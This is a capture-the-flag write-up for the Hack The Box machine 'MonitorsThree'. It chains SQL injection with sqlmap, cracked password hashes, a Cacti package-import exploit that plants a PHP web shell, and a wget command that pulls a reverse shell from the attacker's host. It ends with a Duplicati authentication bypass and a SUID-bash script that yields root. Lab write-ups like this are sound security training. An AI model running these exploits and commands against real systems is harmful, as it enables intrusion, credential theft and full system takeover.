Machine Card listing MonitorsThree as a medium Linux box

Reconnaissance

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Besides SSH there’s just one other port: HTTP. nmap already noticed the redirect to monitorsthree.htb so I’ll add this to my /etc/hosts file.

HTTP

Webpage for 'The Best Networking Solutions'

The webpage shows information about the best networking solutions and offers those services to customers. On the upper right corner there’s a link to a login page. Testing some common default passwords does not let me login.

While manually enumerating the website I let a vHost bruteforcing with ffuf running in the background to find out whether other virtual hosts exist on this webserver. The scan quickly finds cacti with yet another login prompt to Cacti. There is a version number below the form that shows 1.2.26 and there are a few CVEs available but all require a prior authentication.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
     -u http://monitorsthree.htb \
     -H 'Host: FUZZ.monitorsthree.htb' \
     -fs 13560
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://monitorsthree.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.monitorsthree.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 13560
________________________________________________
 
cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 51ms]

Login prompt to Cacti exposing the version number 1.2.26

As with the other login screen, common credentials do not work here and since the login on the main domain has a password reset feature on /forgot_password.php I shift my focus back there.

Initial Access

The specific implementation of that feature can be used to enumerate valid usernames based on the message that’s returned after submitting.

Using a presumably valid username like admin shows that the password reset request was succesfully sent, on the other hand a invalid username like ryuki shows Unable to process request.

Positive Feedback on Login

Negative Feedback on Login

Testing for a simple SQL injection by supplying the username admin' returns an error message because the SQL query was not properly terminated. It also reveals the backend to be MariaDB.

MariaDB SQL Error message

With the help of sqlmap I can exploit this vulnerability and hopefully dump the database. Observing the network traffic I can see there’s a POST request with a single parameter username followed by a redirect back to /forgot_password.php. Noteably there is no error message returned, so that is likely bound to the session cookie, requiring me to pass the cookie to sqlmap as well. The injection happens with the POST request, but the actual result is visible with another GET request, so I pass this with --second-url. I already know the database (--dbms) and that it’s based on the error message (--technique=E).

sqlmap --level 5 \
       --risk 3 \
       --keep-alive \
       --dbms=MySQL \
       --technique=E \
       --cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
       --second-url 'http://monitorsthree.htb/forgot_password.php' \
       --url 'http://monitorsthree.htb/forgot_password.php' \
       --data-raw 'username=admin' \
       -p 'username'
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 16:22:15 /2024-08-25/
 
[16:22:15] [INFO] testing connection to the target URL
got a 302 redirect to 'http://monitorsthree.htb/forgot_password.php'. Do you want to follow? [Y/n] n
[16:22:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:22:17] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')
[16:22:17] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks
[16:22:17] [INFO] testing for SQL injection on POST parameter 'username'
[16:22:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:22:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:22:23] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:22:26] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:22:31] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:22:34] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:22:37] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:22:40] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:22:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:22:42] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 426 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 9512 FROM(SELECT COUNT(*),CONCAT(0x717a767671,(SELECT (ELT(9512=9512,1))),0x7178706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QMSC
---
[16:22:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

After starting sqlmap it asks if I want to follow the redirect and I deny that since I already provided the second-url. Not even a minute passes and the injection point is found. Next, I’ll repeat the previous command with --exclude-sysdb and --dbs to find all databases. This comes back with just monitorsthree_db.

Then I add -D monitorsthree_db to limit the search to this database and --tables to get a list of all tables present. 6 tables are found, with users being my next target. To dump the contents I replace the --tables with -T users and add --dump. This leads sqlmap to retrieve the whole table including the usernames and password hashes.

sqlmap --level 5 \
       --risk 3 \
       --keep-alive \
       --dbms=MySQL \
       --technique=E \
       --cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
       --second-url 'http://monitorsthree.htb/forgot_password.php' \
       --url 'http://monitorsthree.htb/forgot_password.php' \
       --data-raw 'username=admin' \
       -p 'username' \
       --exclude-sysdb \
       --dbs
 
--- SNIP ---
available databases [2]:
[*] information_schema
[*] monitorsthree_db
 
 
sqlmap --level 5 \
       --risk 3 \
       --keep-alive \
       --dbms=MySQL \
       --technique=E \
       --cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
       --second-url 'http://monitorsthree.htb/forgot_password.php' \
       --url 'http://monitorsthree.htb/forgot_password.php' \
       --data-raw 'username=admin' \
       -p 'username' \
       --exclude-sysdb \
       -D monitorsthree_db \
       --tables
 
--- SNIP ---
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog     |
| customers     |
| invoice_tasks |
| invoices      |
| tasks         |
| users         |
+---------------+
 
sqlmap --level 5 \
       --risk 3 \
       --keep-alive \
       --dbms=MySQL \
       --technique=E \
       --cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
       --second-url 'http://monitorsthree.htb/forgot_password.php' \
       --url 'http://monitorsthree.htb/forgot_password.php' \
       --data-raw 'username=admin' \
       -p 'username' \
       --exclude-sysdb \
       -D monitorsthree_db \
       -T users \
       --dump
 
--- SNIP ---
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob        | email                       | name              | salary    | password                         | username  | position              | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2  | 1978-04-25 | admin@monitorsthree.htb     | Marcus Higgins    | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin     | Super User            | 2021-01-12 |
| 5  | 1985-02-15 | mwatson@monitorsthree.htb   | Michael Watson    | 75000.00  | c585d01f2eb3e6e1073e92023088a3dd | mwatson   | Website Administrator | 2021-05-10 |
| 6  | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00  | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer      | 2021-06-20 |
| 7  | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson    | 83000.00  | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager      | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+

Failure

While executing sqlmap there should NOT be any other enumeration running since the error messages are only displayed once and it’s crucial that the tool gets to see it! If actions are running in parallel different cookies must be used.

Adding the four hashes to a file and running john with rockyou.txt as wordlists and --format=RAW-MD5 cracks just the password for admin aka Marcus Higgings: greencacti2001.

Dashboard showing some statistics

After logging in and poking around the Admin Dashboard there is nothing interesting to be found and I decide to try the same credentials on Cacti. They allow me to login and I have access to the console there.

Screenshot of the Cacti console logged in as admin

Info

Accessing the host via SSH with the credentials does not work because only Public Key Authentication is allowed.

Execution

In Cacti version 1.2.26 is a remote command execution vulnerability through the Package Import feature. It’s tracked as CVE-2024-25641 and comes with a PoC. The PHP script builds a new package containing another PHP file with phpinfo() and saves it as test.xml.gz, ready to be uploaded and eventually accessed at resource/test.php.

I modify the script slightly to run commands supplied with parameter ryuki on the host and then build the package with php exploit.php.

<?php
 
$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php system(\$_REQUEST['ryuki']); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
 
?>

Navigating to Import/Export Import Packages I can upload the built package and have to select the files to be imported. Clicking on import shows a success message.

Import a new package in Cacti with the files to be imported highlighted

Accessing the file via curl and adding ?ryuki=whoami shows the output of that command.

curl "http://cacti.monitorsthree.htb/cacti/resource/test.php?ryuki=whoami"
www-data

The uploaded packages are deleted in short intervals and running a reverse shell through the script does not work for some reason. During the upload the actual location on the host is revealed, so I decide to put a php reverse shell into /var/www/cacti/ryuki.php.

# Hosting the php shell via python3 -m http.server 80
 
curl "http://cacti.monitorsthree.htb/cacti/resource/test.php?ryuki=wget+10.10.10.10/ryuki.php+-O+/var/www/html/cacti/ryuki.php"

Browsing to http://cacti.monitorthree.htb/cacti/ryuki.php hangs and I do get a callback on my listener as www-data.

Privilege Escalation

Shell as marcus

After getting foothold on the target, I try to pivot to marcus since that was the name of the admin and SSH without a key was prohibited, but the password does not work. Within /var/www/cacti/include/config.php are credentials for the database: cactiuser:cactiuser for cacti.

/var/www/cacti/include/config.php
<?php
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

Accessing the database cacti with the credentials shows 113 tables with multiple of those starting with user_. The user_auth table contains all configured users and their hahed passwords.

mysql -D cacti -u cactiuser -pcactiuser
MariaDB [cacti]> show tables;
 
--- SNIP ---
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
| user_auth_group_members             |
| user_auth_group_perms               |
| user_auth_group_realm               |
| user_auth_perms                     |
| user_auth_realm                     |
| user_auth_row_cache                 |
| user_domains                        |
| user_domains_ldap                   |
| user_log                            |
| vdef                                |
| vdef_items                          |
| version                             |
+-------------------------------------+
113 rows in set (0.001 sec)
 
MariaDB [cacti]> select username, password from user_auth;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

The password for marcus is pretty weak and is revealed to be 12345678910 with the help of john. This lets me change user with su marcus and collect the first flag. It also gives me access to that users’ SSH key.

Shell as root

Running on local port 8200 is Duplicati and in order to access it, I forward the port to my machine with ssh -L 8200:127.0.0.1:8200 marcus@monitorsthree.htb. Unfortunately none of the passwords obtained so far work.

Screenshot of the Duplicati Login

Within /opt I find various things related to Duplicati. The docker-compose file mentions that the root of the host filesystem is mounted to /source and I could access any file on the host since the user with the container is root.

/opt/docker-compose.yml
version: "3"
 
services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped

Alongside the docker-compose file the backups are stored in /opt/backups/cacti, but there’s nothing interesting since they are old backups from the cacti web application. Something more interesting is the configuration in /opt/duplicati/config/Duplicati-server.sqlite.

Sqlite3 is not installed on the target and therefore a transfer to my host is needed. Within the database is a table called Option with some valuable information: the hashed server password and the salt in use.

sqlite3 Duplicati-server.sqlite
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> select * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|37fdc2b0-d35c-4524-a9da-39e690e320bd
-2||server-passphrase-trayicon-hash|PR54Fx9CTMzwvtxW7TDfnfM7QWxTle855QwnBfhe48g=
-2||last-update-check|638602054070793240
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*

A little research shows an issue 5197 describing the steps to bypass the authentication with knowledge of the hashed server password. It is supposed to be fixed with version 2.0.9 and the scripts loaded on the login page leads me to believe it’s version 2.0.8.

Steps to reproduce

    Setup Duplicati with a login password
    Open Duplicati DB using any tool (like sqlite)
    Grab the (Server_passphrase)
    Open Burp Suite and enable "Intercept".
    Go to the Duplicati login page and enter any password.
    Intercept the request in Burp Suite and select "Do intercept > Response to this request".
    Analyze the intercepted response to retrieve the Nonce and Salt values.
    Verify that the Salt matches the one from the Duplicati database and note that the Nonce changes with each request.
    Convert the server passphrase from Base64 to Hex.
    Open the browser console (Chrome/Firefox), type allow pasting, and run the following modified command:

var saltedpwd = 'HexOutputFromCyberChef'; // Replace with the Hex output from step 6
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('NonceFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64); // Replace 'NonceFromBurp' with the intercepted nonce
console.log(noncedpwd);

    Copy the noncedpwd value returned by the console.
    In Burp Suite, forward the intercepted request and modify the password parameter with the noncedpwd value, URL encoding it if necessary (use CTRL+U in Burp Suite to URL encode).
    Forward the request and observe that you are logged into the Duplicati web interface.

    Actual result:
    Successfully logs into the Duplicati web interface without needing the login password, using the server passphrase.
    Expected result:
    The server passphrase should not bypass the login authentication. Only the correct login password should grant access to the web interface.

First I take the server passphrase from the database and convert it to hex: 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

Intercepting the Login Request in BurpSuite

Next I intercept a login request with BurpSuite and enable the Do Intercept Response to this request. After forwarding the request and catching the response, I can see it contains the Nonce uKnm5ubm/kuTB7q3DEHJAnwJVRO7VBwy+vpJBTXy3GM=.

Getting the Nonce

Opening the Web Console on the login page (CTRL + SHIFT + I) and switching to the Console tab, I’ll paste the code from the PoC while substituting the required values.

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('uKnm5ubm/kuTB7q3DEHJAnwJVRO7VBwy+vpJBTXy3GM=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
+ooCE/ypn8XUhb6XiOETjzc0qfHtrezwymqtNWm2YiI=

Sending the calculated value

Forwarding the response, I right away catch the next request, a POST request with the parameter password that I change to the URL-encoded value generated by javascript. Clicking Forward for all remaining requests logs me in on the browser and I can disable the intercept. There’s just one configured backup Cacti 1.2.26 Backup.

When configuring a backup one can run scripts before or after the backup1 and that can be used to escalate my privileges. Since the docker container has access through the /source I place a script in the /tmp directory to be called by Duplicati and make it executable.

#!/usr/bin/env bash
 
# Copy the /bin/bash to the home directory of marcus
cp /source/bin/bash /source/home/marcus/ryuki
 
# Set SUID
chmod 4777 /source/home/marcus/ryuki

While creating a new backup on Duplicati I select dummy data on the first 4 steps until I reach Options. There, under Advanced options, I select run-script-before and add /source/tmp/exploit.sh in the input field. After saving, a new backup appears on the Home screen and as soon as I run the backup, a new file in the home directory of marcus appears.

ls -la
total 1396
drwxr-x--- 4 marcus marcus    4096 Aug 25 19:24 .
drwxr-xr-x 3 root   root      4096 May 26 16:34 ..
lrwxrwxrwx 1 root   root         9 Aug 16 11:29 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus     220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 marcus marcus    3771 Jan  6  2022 .bashrc
drwx------ 2 marcus marcus    4096 Aug 16 11:35 .cache
-rw-r--r-- 1 marcus marcus     807 Jan  6  2022 .profile
drwx------ 2 marcus marcus    4096 Aug 25 17:55 .ssh
-rwsrwxrwx 1 root   root   1396520 Aug 25 19:24 ryuki
-rw-r----- 1 root   marcus      33 Aug 25 17:55 user.txt
 
./ryuki -p
id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
cat /root/root.txt 
********************************

Running the bash with the SUID bit with -p allows me to impersonate root and collect the final flag.

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Access to page) -->|vHost Enumeration| B(cacti subdomain)
    A -->|SQL injection| C(Hashes from database)
    C -->|Crack Hashes| D(Credentials for admin)
    B & D -->|Password Reuse| E(Access to Cacti)
end

subgraph "Execution"
    E -->|CVE-2024-25641| F(Shell as www-data)
end

subgraph "Privilege Escalation"
    F -->|Access to Cacti DB| G(Hashes for marcus)
    G -->|Crack Hash| H(Shell as marcus)
    H -->|Enumeration| I(Login Prompt to Duplicati) & J(Access to Duplicati configuration)
    I & J -->|Bypass Authentication| K(Access to Duplicati running as root)
    K -->|Pre-Run Scripts generate SUID bash| L(Shell as root)
end

Footnotes

  1. Example Scripts